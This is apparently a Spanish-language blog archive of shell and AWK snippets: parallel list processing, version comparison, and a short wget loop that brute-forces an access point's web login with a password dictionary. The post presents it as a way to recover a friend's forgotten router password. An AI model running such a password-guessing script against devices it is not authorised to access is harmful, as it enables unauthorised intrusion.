Archive for the ‘Scripts & Snippets’ Category
shellscript: procesando una lista en paralelo
Gracias a un oportuno comentario de CMA, nace una obra de arte :P.
#!/bin/sh
PLIMIT=5
PCOUNT=0
PIDS=
while read item; do
procesar $item &
PIDS="$PIDS $!"
[ $((++PCOUNT)) -ge $PLIMIT ] && {
while true; do
CUR=`echo $PIDS | cut -f1`
PIDS=`echo $PIDS | cut -f2-`
wait $CUR
[ $((--PCOUNT)) -lt $PLIMIT -o $? -eq 127 ] || break
done
}
done
wait
Comentarios? :)
Crackeando una red con un diccionario
Hace bastante, cuando fuimos a instalar el nodo de CMA (Montevideolibre), luego de subir el AP, nos encontramos con que CMA no se acordaba del password que le había puesto :P.
En ese momento me vino una idea a la mente, “¿y si lo crackeamos?” dije casi sin pensar, igual, la falta de conectividad nos impidió armar un diccionario adecuado, pero lo interesante es lo fácil que se puede hacer un programa para crackear un AP via esas interfaces web que generalmente traen.
Este es el script que improvisé en ese momento:
#!/bin/sh
IP=192.168.1.1
[ -n "$1" ] && IP="$1"
while read pwd; do
wget -O - --post-data "pws=$pwd" "http://$IP/login.htm" |
grep -q "Login Error !!" || { echo $pwd; break }
done
Realmente muy sencillo :-).
Comparando versiones
Luego de leer una nota sobre comparar versiones en la lista de correos de SourceMage, decidí buscar métodos para comparar versiones, y la primera cosa que se me vino a la mente fué usar un simple shell-script, lamentablemente el tema es un poco más complicado que eso, y no resultó muy práctico que digamos.
Luego de discutir sobre el tema por un rato con FCR, sugirió hacer algo muy sucio con ls -v, así que recordé que ls usa la función strverscmp() de glibc, lamentablemente no es estándar, y hacer un programa en C para esto no me hacía mucha gracia, así que decidí remangarme e implementar algo similar en AWK:
#!/bin/awk -f
BEGIN {
FS = "[-_.]"
la = split(ARGV[1], a)
lb = split(ARGV[2], b)
l = (la < lb) ? la : lb
o = la - lb
for (i = 1; i <= l; i++) {
if (a[i] != b[i]) {
o = a[i] - b[i]
break
}
}
print o
}
¿No es hermoso?